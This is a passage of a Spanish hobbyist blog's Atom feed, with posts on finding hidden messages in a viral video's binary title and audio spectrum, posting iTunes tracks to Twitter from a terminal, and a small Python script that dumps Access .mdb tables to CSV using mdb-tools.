            &lt;td&gt;983&lt;/td&gt;
            &lt;td&gt;-12.5&lt;/td&gt;
            &lt;td&gt;860&lt;/td&gt;
            &lt;td&gt;ELITE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#00ff00&quot;&gt;
            &lt;td&gt;148&lt;/td&gt;
            &lt;td&gt;Dragonair&lt;/td&gt;
            &lt;td&gt;1748&lt;/td&gt;
            &lt;td&gt;-7.91&lt;/td&gt;
            &lt;td&gt;1610&lt;/td&gt;
            &lt;td&gt;ELITE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#00ff00&quot;&gt;
            &lt;td&gt;149&lt;/td&gt;
            &lt;td&gt;Dragonite&lt;/td&gt;
            &lt;td&gt;3500&lt;/td&gt;
            &lt;td&gt;2.33&lt;/td&gt;
            &lt;td&gt;3582&lt;/td&gt;
            &lt;td&gt;ELITE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#00ff00&quot;&gt;
            &lt;td&gt;150&lt;/td&gt;
            &lt;td&gt;Mewtwo&lt;/td&gt;
            &lt;td&gt;4145&lt;/td&gt;
            &lt;td&gt;14.85&lt;/td&gt;
            &lt;td&gt;4761&lt;/td&gt;
            &lt;td&gt;ELITE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#00ff00&quot;&gt;
            &lt;td&gt;151&lt;/td&gt;
            &lt;td&gt;Mew&lt;/td&gt;
            &lt;td&gt;3299&lt;/td&gt;
            &lt;td&gt;-6.31&lt;/td&gt;
            &lt;td&gt;3091&lt;/td&gt;
            &lt;td&gt;ELITE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;

    &lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/1894013147992316897/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2016/11/pokemon-go-y-la-belleza-matematica.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/1894013147992316897'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/1894013147992316897'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2016/11/pokemon-go-y-la-belleza-matematica.html' title='Pokémon GO y la belleza matemática oculta'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-8796767702507643696</id><published>2015-11-02T08:28:00.001-08:00</published><updated>2015-11-02T08:29:33.932-08:00</updated><title type='text'>Lo que oculta el video 01101101 01110101 01100101 01110010 01110101...</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
Hace un par de días me contó el Cocoro del Mal sobre un vídeo que estaba rondando por la red, y, del cual no sabía como sentirse al respecto; como otros tantos vídeos que se vuelven virales por la red, lo había visto a través de un Youtuber (y que conste que me caga la palabra) quien se grabó a si mismo mientras lo observaba para compartir su reacción con el mundo...&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Motivado por la curiosidad de averiguar de que se trataba el famoso vídeo, me di a la tarea de buscarlo en la red, en el inter, descubrí toda clase de teorías al respecto desde quienes aseguran que se trata de un psicópata confesando sus crímenes, hasta quien señala que se trata de una campaña publicitaria para el lanzamiento de una película; algunos de los títulos en los posts resultaban mucho más pretenciosos que otros, por ejemplo &quot;El vídeo que al verlo podría matarte en menos de un año&quot; en el que se puede leer como sentencia: &quot;Especialistas en ciencia y tecnología aseguran que si una persona lo ve, podría morir en el lapso de un año.&quot;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
En dicho post no menciona quienes son los &quot;especialistas&quot; ni en que se basan para hacer dicha afirmación.&lt;/div&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
Santo niño de antorcha, con su santísimo pantalón quemado!!! XD!! &lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Más allá del sarcasmo y dado que no creo morir en ese lapso de tiempo o al menos no consecuencia de haber visto el tan famoso video &quot;ese&quot; y, motivado por un espíritu de formarme mi propia opinión me di a la tarea de investigar más a fondo el video, sobre todo porque el nombre sugiere que alguien se empeño en ocultar algo en el vídeo y como buen criptologo aficionado siempre tengo a la mano la frase &quot;lo que un hombre ha escondido, otro hombre puede encontrarlo...&quot;. Siguiendo esa línea ire actualizando cada semana (de ser posible) los descubrimientos que vayan saliendo a la luz durante ese tiempo, si usted no tiene algo mejor que hacer o le gusta lo paranormal, le sugiero que se mantenga al tanto...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Además puede ir consiguiendo algunas de las herramientas que mencionaré, quién sabe, a lo mejor usted un día tenga la necesidad de buscar algo...&lt;/div&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
Por cierto si usted quiere ver el video completo y dispone de un criterio amplio, aquí lo dejo...&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;center&gt;
&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/UDSfMmwNU2w?rel=0&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;&lt;/center&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Resumen:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Se trata de un vídeo en el que aparece un hombre vestido con una túnica negra usando una máscara de los tiempos de la peste negra en poses extrañas, durante las escenas se puede apreciar una sobreposición de vídeo, además el cambio de pose señala algún código, el sonido del vídeo sugiere que puede contener algún tipo de mensaje oculto en el espectro, inversión de audio y/o cambio de tono.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
El tipo de simbología que se muestra en el vídeo hace clara referencia a la masonería, empezando por el ojo trazado en la pared (ojo de Horus), al centro del cual se aprecia la letra G (GADU o el Gran Arquitecto).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Nombre y descripción&lt;/b&gt;&lt;br /&gt;
El nombre y la descripción del vídeo se encuentran cifrados en binario por lo que podemos obtener el contenido rápidamente mediante un poco de código Python podemos obtener el primero mensaje:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUuYB8zWZbiCnAVl3XVqF57N-ySHHs2CZXFde0U8ghSZPT0zNzM-IJBFP-ozpPaiOLvlXp8Mq4UfhMW-rCIQimpSQCBtSecX4R2mmK8KacmejiGU1InpsK_MhGMJJYHdhHlXMjKUfzIg/s1600/parte_1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUuYB8zWZbiCnAVl3XVqF57N-ySHHs2CZXFde0U8ghSZPT0zNzM-IJBFP-ozpPaiOLvlXp8Mq4UfhMW-rCIQimpSQCBtSecX4R2mmK8KacmejiGU1InpsK_MhGMJJYHdhHlXMjKUfzIg/s1600/parte_1.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ok el vídeo nombrado &quot;muerte&quot;, nos advierte &quot;Te queda 1 año o menos..&quot;,&amp;nbsp;&lt;span style=&quot;text-align: justify;&quot;&gt;la cosa se pone sería XD, hay mucha simbología en el vídeo y quién quiera que lo haya hecho se tomó muchas molestias; ya que al menos después de la primera vista puede ver cuatro distintos tipos de cifrado, unos más visibles que otros, además de técnicas estenográficas como la manipulación de audio, pues en mi experiencia ningún vídeo suena de esa manera a menos que haya sido alterado y sospecho de inserción de imagen en el espectro del audio.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para ver si hay algo en el espectro del audio, lo primero que debemos hacer es descargar el vídeo de Youtube en la mejor calidad posible para poder estudiar a nuestro gusto el vídeo. Para ello podemos hacer uso de herramientas como JDownloader o el plugin Vídeo Download Helper para Firefox, una vez descargado vamos a aislar el sonido del vídeo para hacer el análisis por separado.&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
Para el análisis del audio me voy a servir de Audacity uno de mis mejores aliados desde hace ya algunos años, en lo que concierne a la edición de audio, una vez que tenemos el audio aislado lo vamos a exportar a formato WAV, finalmente para ver mejor el espectro recurriré a otra herramienta de Software Libre, en este caso baudline, como ya lo tengo compilado y en dentro de mi &quot;/usr/bin/&quot; bastara con que lo invoque desde una terminal, con el comando:&lt;br /&gt;
&lt;br /&gt;
baudline ave.wav&lt;br /&gt;
&lt;br /&gt;
En el espectro encontré 5 imágenes en apariencia, así que quizá ni siquiera la fecha de publicación del vídeo fue al azar, aún no puedo decir si se trata de una campaña publicitaria, pero me queda claro que por el momento hay muchas preguntas aún por responder y mucho más por descubrir, a modo de despedida de lo que considero será una de muchas partes les dejo las imágenes encontradas en el espectro sin filtro, ya veré si las pongo con filtro o no, pero por ahora la primera pregunta que me surge es, ¿Por qué si el título y la descripción están en Español, el primer mensaje está en Inglés?&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEW03RjDvdT3k6nTnzXzzIDTA9aG9obcEF8les125rx33AYXfLcskky_vd9l_l0WxDtIKn6Qwh7aJyvkE6JvR5cr_59QvtM0rK2upD2HqPs_zYx9KWLCFZkQGIvWNSJyFxRMKUpPUj9w/s1600/SF_1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEW03RjDvdT3k6nTnzXzzIDTA9aG9obcEF8les125rx33AYXfLcskky_vd9l_l0WxDtIKn6Qwh7aJyvkE6JvR5cr_59QvtM0rK2upD2HqPs_zYx9KWLCFZkQGIvWNSJyFxRMKUpPUj9w/s400/SF_1.png&quot; width=&quot;388&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcfTjuydbJSkuHhiz1OPfQD5ubyMdFDSRJT-Q1Dhj89sOMZRkvgwcUGdUBOnBHt_Mavda9GLwI32GX6TVO0YebftFjWa4bJAfKB1jf64vINKo6OWempeYgM5v2Z9mBQiIPjnfyaJN5JQ/s1600/SF_2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcfTjuydbJSkuHhiz1OPfQD5ubyMdFDSRJT-Q1Dhj89sOMZRkvgwcUGdUBOnBHt_Mavda9GLwI32GX6TVO0YebftFjWa4bJAfKB1jf64vINKo6OWempeYgM5v2Z9mBQiIPjnfyaJN5JQ/s400/SF_2.png&quot; width=&quot;283&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdH30BcYsD2tONDlvpzcp6ZWZv5nEy_R42M-xKwMq4X5-yTiBLjszPxdzmPnaviL3hbhlS1gG910Mddfh8Ex-67ABtBnCKjKcTXmC0OXJpuJeVEUTI6wAlGgJNWbVk5whGFBvkgLapJw/s1600/SF_3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdH30BcYsD2tONDlvpzcp6ZWZv5nEy_R42M-xKwMq4X5-yTiBLjszPxdzmPnaviL3hbhlS1gG910Mddfh8Ex-67ABtBnCKjKcTXmC0OXJpuJeVEUTI6wAlGgJNWbVk5whGFBvkgLapJw/s400/SF_3.png&quot; width=&quot;285&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh-XfzEQcKZeH1-yfMFyTmyVTUITTi1xilYV82laveN3JPcpVDIZ8GmQF-bMsPf5S4TRCmwtikpubB3u8SVGUm6jfQ7L12WCMNrywg07Kn3t59P-5CJ4GxOb34CeJfXtULr42UTIckfQ/s1600/SF_4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh-XfzEQcKZeH1-yfMFyTmyVTUITTi1xilYV82laveN3JPcpVDIZ8GmQF-bMsPf5S4TRCmwtikpubB3u8SVGUm6jfQ7L12WCMNrywg07Kn3t59P-5CJ4GxOb34CeJfXtULr42UTIckfQ/s400/SF_4.png&quot; width=&quot;286&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzT8tAEu1ZlFbN1r1FYfYjcmHxo0Gn0d-idKVyFsR99U-XthsYrlFI2sB4hJm61ODDMZIypGbjxpXicId0mspjJjlAFljUuX2okKvGs8LHHzZx2RYPMurkoVgpk5rcnnzdJRIqOSF7fQ/s1600/SF_5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzT8tAEu1ZlFbN1r1FYfYjcmHxo0Gn0d-idKVyFsR99U-XthsYrlFI2sB4hJm61ODDMZIypGbjxpXicId0mspjJjlAFljUuX2okKvGs8LHHzZx2RYPMurkoVgpk5rcnnzdJRIqOSF7fQ/s400/SF_5.png&quot; width=&quot;286&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
SaluDoS!!!!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/8796767702507643696/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2015/11/lo-que-oculta-el-video-01101101.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/8796767702507643696'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/8796767702507643696'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2015/11/lo-que-oculta-el-video-01101101.html' title='Lo que oculta el video 01101101 01110101 01100101 01110010 01110101...'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/UDSfMmwNU2w/default.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-978256528511869560</id><published>2014-04-16T07:51:00.000-07:00</published><updated>2015-05-28T08:23:44.121-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="applescript"/><category scheme="http://www.blogger.com/atom/ns#" term="itunes desde terminal"/><category scheme="http://www.blogger.com/atom/ns#" term="osascript iTunes"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="tweepy"/><category scheme="http://www.blogger.com/atom/ns#" term="twitter desde terminal"/><title type='text'>Publicar lo que escuchas en iTunes desde terminal (vía Python)</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Hace tiempo, subí un script para publicar información de la canción que se esta reproduciendo en Amarok usando&amp;nbsp;Twitter, por aquellos días un amigo mío &quot;Makuaz&quot; (a quien le mando un saludo de paso) me preguntaba si habría una forma de hacer lo mismo o algo semejante desde una MAC, por cuestiones de trabajo (aunque &quot;Sharka&quot; y &quot;Coder&quot; sostengan lo contrario), he tenido que trabajar precisamente con una MAC y aunque hay formas de invocar Amarok, la verdad es que la interfaz no me convence del todo, así que siguiendo el adagio &quot;si te dan limones, haz limonada&quot;, decidí averiguar si era posible obtener información de iTunes desde una terminal y luego subir la información mediante el script que ya usaba.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para mi sorpresa al estar buscando la forma de hacerlo, descubrí &lt;a href=&quot;https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/man1/osascript.1.html&quot; target=&quot;_blank&quot;&gt;osascript&lt;/a&gt;, que es una forma de invocar &lt;a href=&quot;http://en.wikipedia.org/wiki/AppleScript&quot; target=&quot;_blank&quot;&gt;AppleScripts&lt;/a&gt; y &lt;a href=&quot;http://en.wikipedia.org/wiki/JavaScript_OSA&quot; target=&quot;_blank&quot;&gt;OSA scripts&lt;/a&gt;, aunque en realidad existe un modulo de osascript que puede ser usado directamente desde &lt;a href=&quot;https://pypi.python.org/pypi/osascript/0.0.4&quot; target=&quot;_blank&quot;&gt;Python&lt;/a&gt;, la verdad es que lo probé sin mucho éxito y decidí hacer uso del modulo &quot;os&quot; para invocar osascript.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Antes que nada para hacer funcionar el script debemos instalar el modulo Tweepy, lo cual se hace mediante el comando:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
sudo pip install tweepy
&lt;/pre&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Una vez instalado el modulo, sólo necesitarán seguir las instrucciones de mi &lt;a href=&quot;http://zosemu.blogspot.mx/2013/04/actualizar-twitter-via-python-con-la.html&quot; target=&quot;_blank&quot;&gt;post anterior&lt;/a&gt;, para conseguir un Token de acceso de Aplicación de Twitter, una vez conseguido nuestro Token, los valores se configuran en el archivo &quot;twitter.cfg&quot; y estamos listos para comenzar a compartir lo que escuchamos con el mundo desde nuestra sesión de Twitter.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Por cierto la nueva versión del script lo pueden descargar desde &lt;a href=&quot;https://sites.google.com/site/zosemu/tweet_music.zip&quot; target=&quot;_blank&quot;&gt;aquí&lt;/a&gt;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
SaluDoS!!!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/978256528511869560/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2014/04/publicar-lo-que-escuchas-en-itunes_16.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/978256528511869560'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/978256528511869560'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2014/04/publicar-lo-que-escuchas-en-itunes_16.html' title='Publicar lo que escuchas en iTunes desde terminal (vía Python)'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-3253999484122694310</id><published>2014-04-04T05:48:00.000-07:00</published><updated>2015-05-28T08:32:21.827-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="access desde python"/><category scheme="http://www.blogger.com/atom/ns#" term="extraer datos de un archivo.mdb"/><category scheme="http://www.blogger.com/atom/ns#" term="mdb-sql"/><category scheme="http://www.blogger.com/atom/ns#" term="mdb-tools"/><category scheme="http://www.blogger.com/atom/ns#" term="pyodbc"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><title type='text'>Extraer datos de un archivo.mdb (Access) con python</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Luego de mucho tiempo fuera de línea, me decidí a escribir sobre algo que me pareció muy interesante, resulta que por azares del destino tuve que extraer la información de un archivo mdb y para colmo de males desde una MAC; al principio probé usar una herramienta llamada &lt;a href=&quot;http://www.mdbexplorer.com/&quot; target=&quot;_blank&quot;&gt;MDB Explorer&lt;/a&gt;,&amp;nbsp;aunque su precio es accesible, la verdad es que me sentía un poco molesto de no poder hacerlo más a mi propio estilo, fue entonces que me puse a investigar como tener acceso al contenido de una base de datos de Access desde Python; encontré un par de librerías (&lt;a href=&quot;https://code.google.com/p/pyodbc/&quot; target=&quot;_blank&quot;&gt;pyodbc&lt;/a&gt; y &lt;a href=&quot;https://pypi.python.org/pypi/pypyodbc/&quot; target=&quot;_blank&quot;&gt;pypyodbc&lt;/a&gt;, de las cuales sólo funcionó la segunda al menos en MAC), pero aún no estaba satisfecho, fue entonces que por otro azar del destino encontré un &lt;a href=&quot;http://mazamascience.com/WorkingWithData/?p=168&quot; target=&quot;_blank&quot;&gt;scrip&lt;/a&gt;t que decía poder extraer el contenido de las tablas de una base de datos en formato CSV, luego de analizar el código de dicho script, me decidí a leer un poco más sobre el uso de la herramienta que en realidad hace el trabajo, fue así &amp;nbsp;que descubrí &lt;a href=&quot;http://mdbtools.sourceforge.net/&quot; target=&quot;_blank&quot;&gt;mbd-tools&lt;/a&gt;, así que sin más fui al sitio de &quot;&lt;a href=&quot;http://www.macports.org/ports.php&quot; target=&quot;_blank&quot;&gt;MacPorts&lt;/a&gt;&quot; y encontré que era posible instalar la suite de herramientas que contenía la herramienta necesaria para el fin que perseguía mediante:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;sudo port install mdb-tools
&lt;/pre&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Una vez instalada la suite de herramientas, probé sin éxito :( el script, pero como soy un tipo persistente, decidí hacerle un par de cambios, el resultado fue mi propia versión del &lt;a href=&quot;https://sites.google.com/site/zosemu/dump_mdb.py&quot; target=&quot;_blank&quot;&gt;script&lt;/a&gt; y que dejo &lt;a href=&quot;https://sites.google.com/site/zosemu/dump_mdb.py&quot; target=&quot;_blank&quot;&gt;aquí&lt;/a&gt; para aquellos que quieran hacer algún cambio.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Al mismo tiempo encontré otros usos interesantes para esta suite de herramientas, entre ellos:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;mdb-sql -HFp -d &quot;;&quot; -i query.sql -o output.txt file.mdb
&lt;/pre&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Que sirve para ejecutar una consulta SQL grabada en &quot;query.sql&quot; y verter el resultado de esa consulta en caso de ser necesario en &quot;output.txt&quot; desde nuestro archivo file.mdb.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
SaluDoS!!!&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;pre class=&quot;brush: python&quot;&gt;
#!/usr/bin/env python
#-*- encoding: utf-8 -*-

# This script use the mdb-tools for extract the MDB databases in .mdb files to CSV format,
# for MAC-OS, use &quot;sudo port install mdb-tools&quot; in another GNU/Linux OSs,
# consulte the documentation usually &quot;sudo apt-get install&quot;, &quot;sudo yum install&quot; mdb-tools
# thanks to http://mazamascience.com/WorkingWithData/?p=168 by the original idea.
# Other interesting use: mdb-sql -HFp -d &quot;;&quot; -i query.sql -o output.txt file.mdb
# for execute a SQL query in .mdb files

__author__ = &quot;ZoSemU?&quot;
__mail__ = &quot;zosemu@gmail.com&quot;
__app_name__ = &quot;Dump MDB&quot;
__app_version__ = &quot;1.0.0&quot;
__original_idea__ = &quot;http://mazamascience.com/WorkingWithData/?p=168&quot;

import sys, os

def uso():
    print &quot; ============================================================================== &quot;
    print &quot;|                         &quot;, __app_name__, __app_version__, &quot;by&quot;, __author__, &quot;                          |&quot;
    print &quot; ============================================================================== &quot;
    print &quot;   [+] Usage: python &quot;, sys.argv[0], &quot;mdb_file.mdb&quot;

def dump_data(mdb_file):
    # Get the list of table names
    tables = os.popen(&quot;mdb-tables -1 &quot; + mdb_file).read().split(&quot;\n&quot;) 
    # Dump each table as a CSV&quot;
    for table in tables:
        if table != &#39;&#39;:
            filename = table.replace(&quot; &quot;,&quot;_&quot;) + &quot;.csv&quot;
            file = open(filename, &#39;w&#39;)
            print &quot;Dumping&quot;, table
            contents = os.popen(&quot;mdb-export &quot; + mdb_file + &quot; &quot; + table).read()
            file.write(contents)
            file.close()

if len(sys.argv) != 2:
    uso()
else:
    dump_data(sys.argv[1])
